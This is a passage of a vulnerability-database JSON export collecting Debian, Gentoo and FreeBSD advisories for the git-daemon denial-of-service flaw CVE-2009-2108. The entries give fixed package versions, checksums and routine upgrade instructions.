(AMD64))\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.5.6.5-3+lenny2_amd64.deb\n Size/MD5 checksum: 3427278 286213e394c88ef73638f667dd9ddc01\n\narm architecture (ARM)\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.5.6.5-3+lenny2_arm.deb\n Size/MD5 checksum: 3045546 e624c48ded4c1c00dacca13e7595b315\n\ni386 architecture (Intel ia32)\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.5.6.5-3+lenny2_i386.deb\n Size/MD5 checksum: 3137530 a7a44faa83126a48803e02722b1cc5db\n\nia64 architecture (Intel ia64)\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.5.6.5-3+lenny2_ia64.deb\n Size/MD5 checksum: 4759194 8bc9a6f73d11bca6818fd6f16ca20033\n\nmips architecture (MIPS (Big Endian))\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.5.6.5-3+lenny2_mips.deb\n Size/MD5 checksum: 3419202 e5ef2e34a07f5b6e1d1ede2184596925\n\nmipsel architecture (MIPS (Little Endian))\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.5.6.5-3+lenny2_mipsel.deb\n Size/MD5 checksum: 3420668 a39d630c3911e5fdf912f8beb8cb36f5\n\ns390 architecture (IBM S/390)\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.5.6.5-3+lenny2_s390.deb\n Size/MD5 checksum: 3411278 13619ebe267fa193c8530d0466225f41\n\nsparc architecture (Sun SPARC/UltraSPARC)\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.5.6.5-3+lenny2_sparc.deb\n Size/MD5 checksum: 3069050 a18eb59eca3198e05a94ee896c71d272\n\n\n These files will probably be moved into the stable distribution on\n its next update.\n\n- ---------------------------------------------------------------------------------\nFor apt-get: deb http://security.debian.org/ stable/updates main\nFor dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main\nMailing list: debian-security-announce@lists.debian.org\nPackage info: `apt-cache show &lt;pkg&gt;&#x27; and http://packages.debian.org/&lt;pkg&gt;\n", "edition": 1, "reporter": "Debian", "published": "2009-07-25T14:21:15", "title": "[SECURITY] [DSA 1841-1] New git-core packages fix denial of service", "type": "debian", "enchantments": {"score": {"modified": "2018-10-16T22:15:07", "vector": "NONE", "value": 5.0}}, "bulletinFamily": "unix", "cvelist": ["CVE-2009-2108"], "modified": "2009-07-25T14:21:15", "id": "DEBIAN:DSA-1841-1:AA6E0", "href": "https://lists.debian.org/debian-security-announce/debian-security-announce-2009/msg00156.html", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}}, {"lastseen": "2018-10-16T22:12:52", "references": [], "affectedPackage": [{"OS": "Debian", "OSVersion": "4", "packageVersion": "1:1.4.4.4-4+etch4", "arch": "all", "packageFilename": "git-cvs_1:1.4.4.4-4+etch4_all.deb", "packageName": "git-cvs", "operator": "lt"}, {"OS": "Debian", "OSVersion": "4", "packageVersion": "1:1.4.4.4-4+etch4", "arch": "all", "packageFilename": "git-core_1:1.4.4.4-4+etch4_all.deb", "packageName": "git-core", "operator": "lt"}, {"OS": "Debian", "OSVersion": "5", "packageVersion": "1:1.5.6.5-3+lenny3", "arch": "all", "packageFilename": "git-gui_1:1.5.6.5-3+lenny3_all.deb", "packageName": "git-gui", "operator": "lt"}, {"OS": "Debian", "OSVersion": "4", "packageVersion": "1:1.4.4.4-4+etch4", "arch": "all", "packageFilename": "gitweb_1:1.4.4.4-4+etch4_all.deb", "packageName": "gitweb", "operator": "lt"}, {"OS": "Debian", "OSVersion": "5", "packageVersion": "1:1.5.6.5-3+lenny3", "arch": "all", "packageFilename": "git-cvs_1:1.5.6.5-3+lenny3_all.deb", "packageName": "git-cvs", "operator": "lt"}, {"OS": "Debian", "OSVersion": "4", "packageVersion": "1:1.4.4.4-4+etch4", "arch": "all", "packageFilename": "git-svn_1:1.4.4.4-4+etch4_all.deb", "packageName": "git-svn", "operator": "lt"}, {"OS": "Debian", "OSVersion": "4", "packageVersion": "1:1.4.4.4-4+etch4", "arch": "all", "packageFilename": "git-arch_1:1.4.4.4-4+etch4_all.deb", "packageName": "git-arch", "operator": "lt"}, {"OS": "Debian", "OSVersion": "4", "packageVersion": "1:1.4.4.4-4+etch4", "arch": "all", "packageFilename": "git-daemon-run_1:1.4.4.4-4+etch4_all.deb", "packageName": "git-daemon-run", "operator": "lt"}, {"OS": "Debian", "OSVersion": "4", "packageVersion": "1:1.4.4.4-4+etch4", "arch": "all", "packageFilename": "git-doc_1:1.4.4.4-4+etch4_all.deb", "packageName": "git-doc", "operator": "lt"}, {"OS": "Debian", "OSVersion": "5", "packageVersion": "1:1.5.6.5-3+lenny3", "arch": "all", "packageFilename": "gitk_1:1.5.6.5-3+lenny3_all.deb", "packageName": "gitk", "operator": "lt"}, {"OS": "Debian", "OSVersion": "4", "packageVersion": "1:1.4.4.4-4+etch4", "arch": "all", "packageFilename": "git-email_1:1.4.4.4-4+etch4_all.deb", "packageName": "git-email", "operator": "lt"}, {"OS": "Debian", "OSVersion": "5", "packageVersion": "1:1.5.6.5-3+lenny3", "arch": "all", "packageFilename": "git-core_1:1.5.6.5-3+lenny3_all.deb", "packageName": "git-core", "operator": "lt"}, {"OS": "Debian", "OSVersion": "5", "packageVersion": "1:1.5.6.5-3+lenny3", "arch": "all", "packageFilename": "git-email_1:1.5.6.5-3+lenny3_all.deb", "packageName": "git-email", "operator": "lt"}, {"OS": "Debian", "OSVersion": "5", "packageVersion": "1:1.5.6.5-3+lenny3", "arch": "all", "packageFilename": "git-doc_1:1.5.6.5-3+lenny3_all.deb", "packageName": "git-doc", "operator": "lt"}, {"OS": "Debian", "OSVersion": "5", "packageVersion": "1:1.5.6.5-3+lenny3", "arch": "all", "packageFilename": "git-svn_1:1.5.6.5-3+lenny3_all.deb", "packageName": "git-svn", "operator": "lt"}, {"OS": "Debian", "OSVersion": "4", "packageVersion": "1:1.4.4.4-4+etch4", "arch": "all", "packageFilename": "gitk_1:1.4.4.4-4+etch4_all.deb", "packageName": "gitk", "operator": "lt"}, {"OS": "Debian", "OSVersion": "5", "packageVersion": "1:1.5.6.5-3+lenny3", "arch": "all", "packageFilename": "gitweb_1:1.5.6.5-3+lenny3_all.deb", "packageName": "gitweb", "operator": "lt"}, {"OS": "Debian", "OSVersion": "5", "packageVersion": "1:1.5.6.5-3+lenny3", "arch": "all", "packageFilename": "git-arch_1:1.5.6.5-3+lenny3_all.deb", "packageName": "git-arch", "operator": "lt"}, {"OS": "Debian", "OSVersion": "5", "packageVersion": "1:1.5.6.5-3+lenny3", "arch": "all", "packageFilename": "git-daemon-run_1:1.5.6.5-3+lenny3_all.deb", "packageName": "git-daemon-run", "operator": "lt"}], "description": "- ------------------------------------------------------------------------\nDebian Security Advisory DSA-1841-2 security@debian.org\nhttp://www.debian.org/security/ Thijs Kinkhorst\nJanuary 31, 2010 http://www.debian.org/security/faq\n- ------------------------------------------------------------------------\n\nPackage : git-core\nVulnerability : several\nProblem type : remote\nDebian-specific: no\nDebian bug : 532935\nCVE ID : CVE-2009-2108\n\nA bug in git-core caused the security update in DSA 1841 to fail to\nbuild on a number of architectures Debian supports. This update corrects\nthe bug and releases builds for all supported architectures. The original\nadvisory is quoted in full below for reference.\n\nIt was discovered that git-daemon which is part of git-core, a popular\ndistributed revision control system, is vulnerable to denial of service\nattacks caused by a programming mistake in handling requests containing\nextra unrecognized arguments which results in an infinite loop. While\nthis is no problem for the daemon itself as every request will spawn a\nnew git-daemon instance, this still results in a very high CPU consumption\nand might lead to denial of service conditions.\n\nFor the oldstable distribution (etch), this problem has been fixed in\nversion 1.4.4.4-4+etch4.\n\nFor the stable distribution (lenny), this problem has been fixed in\nversion 1.5.6.5-3+lenny3.\n\nFor the testing distribution (squeeze), this problem has been fixed in\nversion 1:1.6.3.3-1.\n\nFor the unstable distribution (sid), this problem has been fixed in\nversion 1:1.6.3.3-1.\n\nWe recommend that you upgrade your git-core packages.\n\nUpgrade instructions\n- --------------------\n\nwget url\n will fetch the file for you\ndpkg -i file.deb\n will install the referenced file.\n\nIf you are using the apt-get package manager, use the line for\nsources.list as given below:\n\napt-get update\n will update the internal database\napt-get upgrade\n will install corrected packages\n\nYou may use an automated update by adding the resources from the\nfooter to the proper configuration.\n\n\nDebian GNU/Linux 4.0 alias etch\n- -------------------------------\n\nSource archives:\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.4.4.4.orig.tar.gz\n Size/MD5 checksum: 1054130 99bc7ea441226f792b6f796a838e7ef0\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.4.4.4-4+etch4.diff.gz\n Size/MD5 checksum: 73235 dc66a5a33f4d839abd293af8e9d1c7f0\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.4.4.4-4+etch4.dsc\n Size/MD5 checksum: 806 4ecf33d79aef69bd3ee67e39bd2e5603\n\nArchitecture independent packages:\n\n http://security.debian.org/pool/updates/main/g/git-core/gitk_1.4.4.4-4+etch4_all.deb\n Size/MD5 checksum: 99956 bb358ac7ca0a4ff838d3b649fc280ac5\n http://security.debian.org/pool/updates/main/g/git-core/git-cvs_1.4.4.4-4+etch4_all.deb\n Size/MD5 checksum: 94344 35222422017d16424d60b572d448b2ed\n http://security.debian.org/pool/updates/main/g/git-core/git-svn_1.4.4.4-4+etch4_all.deb\n Size/MD5 checksum: 101186 e50e5c5b047fd40306ec79177fb1e27b\n http://security.debian.org/pool/updates/main/g/git-core/git-email_1.4.4.4-4+etch4_all.deb\n Size/MD5 checksum: 63440 1ce3e8f130c61118e15f50fbea98f745\n http://security.debian.org/pool/updates/main/g/git-core/git-arch_1.4.4.4-4+etch4_all.deb\n Size/MD5 checksum: 69120 555d3f7a0f717f022b837ec218840b5b\n http://security.debian.org/pool/updates/main/g/git-core/gitweb_1.4.4.4-4+etch4_all.deb\n Size/MD5 checksum: 88662 089131cbe345889f72b524e8d0c657ed\n http://security.debian.org/pool/updates/main/g/git-core/git-daemon-run_1.4.4.4-4+etch4_all.deb\n Size/MD5 checksum: 55972 d06f9e25da08588e38b2c0a6fa346c4a\n http://security.debian.org/pool/updates/main/g/git-core/git-doc_1.4.4.4-4+etch4_all.deb\n Size/MD5 checksum: 466846 3bef63b0904636416641058a04814b10\n\nalpha architecture (DEC Alpha)\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.4.4.4-4+etch4_alpha.deb\n Size/MD5 checksum: 3088230 4515c64cfea5951473db08b8cc3435d3\n\namd64 architecture (AMD x86_64 (AMD64))\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.4.4.4-4+etch4_amd64.deb\n Size/MD5 checksum: 2632004 b044de6564162f32353d84343e1e41ae\n\narm architecture (ARM)\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.4.4.4-4+etch4_arm.deb\n Size/MD5 checksum: 2320858 3ed0f7b8c366351121fc9534df90d328\n\nhppa architecture (HP PA RISC)\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.4.4.4-4+etch4_hppa.deb\n Size/MD5 checksum: 2694200 17f793cb6d02e633053f18d820ed63b1\n\ni386 architecture (Intel ia32)\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.4.4.4-4+etch4_i386.deb\n Size/MD5 checksum: 2349876 2c0d7e7f67af0f3d956626e4bf9c61a6\n\nia64 architecture (Intel ia64)\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.4.4.4-4+etch4_ia64.deb\n Size/MD5 checksum: 3815920 54305a771f4728607741fc91825abd60\n\nmips architecture (MIPS (Big Endian))\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.4.4.4-4+etch4_mips.deb\n Size/MD5 checksum: 2769740 ff6077a27445fa6be6dc6df8d7a412ae\n\nmipsel architecture (MIPS (Little Endian))\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.4.4.4-4+etch4_mipsel.deb\n Size/MD5 checksum: 2801552 d4a45ed2e6e0907d4a9b176ca9943e1d\n\npowerpc architecture (PowerPC)\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.4.4.4-4+etch4_powerpc.deb\n Size/MD5 checksum: 2639258 1626503d70b23864cc452876643b4b77\n\ns390 architecture (IBM S/390)\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.4.4.4-4+etch4_s390.deb\n Size/MD5 checksum: 2628348 7c6ba1577e3019fb36b9cd1e3b1ad9e0\n\nsparc architecture (Sun SPARC/UltraSPARC)\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.4.4.4-4+etch4_sparc.deb\n Size/MD5 checksum: 2298750 ae0ebfaeceba12e48b1240f0e6cf2a14\n\nDebian GNU/Linux 5.0 alias lenny\n- --------------------------------\n\nSource archives:\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.5.6.5-3+lenny3.dsc\n Size/MD5 checksum: 1332 f4dfc057bd2a48ba453816e04f34b7df\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.5.6.5.orig.tar.gz\n Size/MD5 checksum: 2103619 c22da91c913a02305fd8a1a2298f75c9\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.5.6.5-3+lenny3.diff.gz\n Size/MD5 checksum: 228640 87e8934e0efe7f374b21e0f8fb15474f\n\nArchitecture independent packages:\n\n http://security.debian.org/pool/updates/main/g/git-core/gitweb_1.5.6.5-3+lenny3_all.deb\n Size/MD5 checksum: 268052 976f1bdd1a003aa01360235d506a68b6\n http://security.debian.org/pool/updates/main/g/git-core/git-daemon-run_1.5.6.5-3+lenny3_all.deb\n Size/MD5 checksum: 217816 a0719a52047880856fc560fbdd54311e\n http://security.debian.org/pool/updates/main/g/git-core/git-arch_1.5.6.5-3+lenny3_all.deb\n Size/MD5 checksum: 231042 a313316163e3db501357d834a1db7b90\n http://security.debian.org/pool/updates/main/g/git-core/git-cvs_1.5.6.5-3+lenny3_all.deb\n Size/MD5 checksum: 267244 0b91300ac7fee3068cd7767f8998a6a6\n http://security.debian.org/pool/updates/main/g/git-core/gitk_1.5.6.5-3+lenny3_all.deb\n Size/MD5 checksum: 298644 843b4c601e157df5f1ea559fe22e7a72\n http://security.debian.org/pool/updates/main/g/git-core/git-gui_1.5.6.5-3+lenny3_all.deb\n Size/MD5 checksum: 401594 d6737e683c17e09a3ecf7e9149af5de4\n http://security.debian.org/pool/updates/main/g/git-core/git-svn_1.5.6.5-3+lenny3_all.deb\n Size/MD5 checksum: 268286 1582d20b0024de9879e3f289129106d8\n http://security.debian.org/pool/updates/main/g/git-core/git-doc_1.5.6.5-3+lenny3_all.deb\n Size/MD5 checksum: 1076836 1ec7e1d1d2539ed4277c35bef096ae8b\n http://security.debian.org/pool/updates/main/g/git-core/git-email_1.5.6.5-3+lenny3_all.deb\n Size/MD5 checksum: 229326 aaf22d02fe5ac00a424be096dd8c1f80\n\nalpha architecture (DEC Alpha)\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.5.6.5-3+lenny3_alpha.deb\n Size/MD5 checksum: 3808760 24030074496a4a25e448baf21aae4450\n\namd64 architecture (AMD x86_64 (AMD64))\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.5.6.5-3+lenny3_amd64.deb\n Size/MD5 checksum: 3419522 190a16cd10d5591706e79d15831d6bfa\n\narm architecture (ARM)\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.5.6.5-3+lenny3_arm.deb\n Size/MD5 checksum: 3045458 8bebf2cf789fcba33a1d0dfc8d259f6b\n\narmel architecture (ARM EABI)\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.5.6.5-3+lenny3_armel.deb\n Size/MD5 checksum: 3068324 11e7a4ad3c4cd6c91b58d79536fdc282\n\nhppa architecture (HP PA RISC)\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.5.6.5-3+lenny3_hppa.deb\n Size/MD5 checksum: 3162798 fb850a0f8b458cc8ef68b7a98c25d269\n\ni386 architecture (Intel ia32)\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.5.6.5-3+lenny3_i386.deb\n Size/MD5 checksum: 3139856 a19a17b97f8028298fe0bf0cc77fa139\n\nia64 architecture (Intel ia64)\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.5.6.5-3+lenny3_ia64.deb\n Size/MD5 checksum: 4759214 30d6cc0cd9c19adc03e84ea6f4e0fa1d\n\nmips architecture (MIPS (Big Endian))\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.5.6.5-3+lenny3_mips.deb\n Size/MD5 checksum: 3409214 7a4aa4251c5e8b9ece35b76fec637e68\n\nmipsel architecture (MIPS (Little Endian))\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.5.6.5-3+lenny3_mipsel.deb\n Size/MD5 checksum: 3420712 1218f69d04d4b19bd06dbc8878aef769\n\npowerpc architecture (PowerPC)\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.5.6.5-3+lenny3_powerpc.deb\n Size/MD5 checksum: 3473328 4fadd92d0f8554f29acb67e641cd355a\n\ns390 architecture (IBM S/390)\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.5.6.5-3+lenny3_s390.deb\n Size/MD5 checksum: 3411332 0daeff8bd1b44a86c16d46572d51a43f\n\nsparc architecture (Sun SPARC/UltraSPARC)\n\n http://security.debian.org/pool/updates/main/g/git-core/git-core_1.5.6.5-3+lenny3_sparc.deb\n Size/MD5 checksum: 3069038 3ba2810657f07949ac284274f1356973\n\n\n These files will probably be moved into the stable distribution on\n its next update.\n\n- ---------------------------------------------------------------------------------\nFor apt-get: deb http://security.debian.org/ stable/updates main\nFor dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main\nMailing list: debian-security-announce@lists.debian.org\nPackage info: `apt-cache show &lt;pkg&gt;&#x27; and http://packages.debian.org/&lt;pkg&gt;\n", "edition": 1, "reporter": "Debian", "published": "2010-01-31T13:35:40", "title": "[SECURITY] [DSA 1841-2] New git-core packages fix build failure", "type": "debian", "enchantments": {"score": {"modified": "2018-10-16T22:12:52", "vector": "NONE", "value": 5.0}}, "bulletinFamily": "unix", "cvelist": ["CVE-2009-2108"], "modified": "2010-01-31T13:35:40", "id": "DEBIAN:DSA-1841-2:46435", "href": "https://lists.debian.org/debian-security-announce/debian-security-announce-2010/msg00022.html", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}}], "gentoo": [{"lastseen": "2016-09-06T19:46:28", "references": ["https://bugs.gentoo.org/show_bug.cgi?id=273905", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2108"], "affectedPackage": [{"OS": "Gentoo", "OSVersion": "any", "packageVersion": "1.6.3.3", "arch": "all", "packageFilename": "UNKNOWN", "packageName": "dev-util/git", "operator": "lt"}], "edition": 1, "description": "### Background\n\ngit - the stupid content tracker, the revision control system used by the Linux kernel team. \n\n### Description\n\nShawn O. Pearce reported that git-daemon runs into an infinite loop when handling requests that contain unrecognized arguments. \n\n### Impact\n\nA remote unauthenticated attacker could send a specially crafted request to git-daemon, possibly leading to a Denial of Service (CPU consumption). \n\n### Workaround\n\nThere is no known workaround at this time. \n\n### Resolution\n\nAll git users should upgrade to the latest version: \n \n \n # emerge --sync\n # emerge --ask --oneshot --verbose \">=dev-util/git-1.6.3.3\"", "reporter": "Gentoo Foundation", "published": "2009-07-12T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 5.0}}, "type": "gentoo", "title": "git: git-daemon Denial of Service", "bulletinFamily": "unix", "cvelist": ["CVE-2009-2108"], "modified": "2009-07-12T00:00:00", "id": "GLSA-200907-05", "href": "https://security.gentoo.org/glsa/200907-05", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}}], "freebsd": [{"lastseen": "2018-08-31T01:15:26", "references": ["http://article.gmane.org/gmane.comp.version-control.git/120724", "https://www.redhat.com/archives/fedora-security-list/2009-June/msg00000.html"], "affectedPackage": [{"OS": "FreeBSD", "OSVersion": "any", "packageVersion": "1.6.3.2_1", "arch": "noarch", "packageFilename": "UNKNOWN", "packageName": "git", "operator": "lt"}], "description": "\nSecurityFocus reports:\n\nGit is prone to a denial-of-service vulnerability because it\n\t fails to properly handle some client requests.\nAttackers can exploit this issue to cause a daemon process to\n\t enter an infinite loop. Repeated exploits may consume excessive\n\t system resources, resulting in a denial of service condition.\n\n", "edition": 3, "reporter": "FreeBSD", "published": "2009-06-04T00:00:00", "title": "git -- denial of service vulnerability", "type": "freebsd", "enchantments": {"score": {"vector": "NONE", "value": 5.0}}, "bulletinFamily": "unix", "cvelist": ["CVE-2009-2108"], "modified": "2010-05-02T00:00:00", "id": "D9B01C08-59B3-11DE-828E-00E0815B8DA8", "href": "https://vuxml.freebsd.org/freebsd/d9b01c08-59b3-11de-828e-00e0815b8da8.html", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}}]}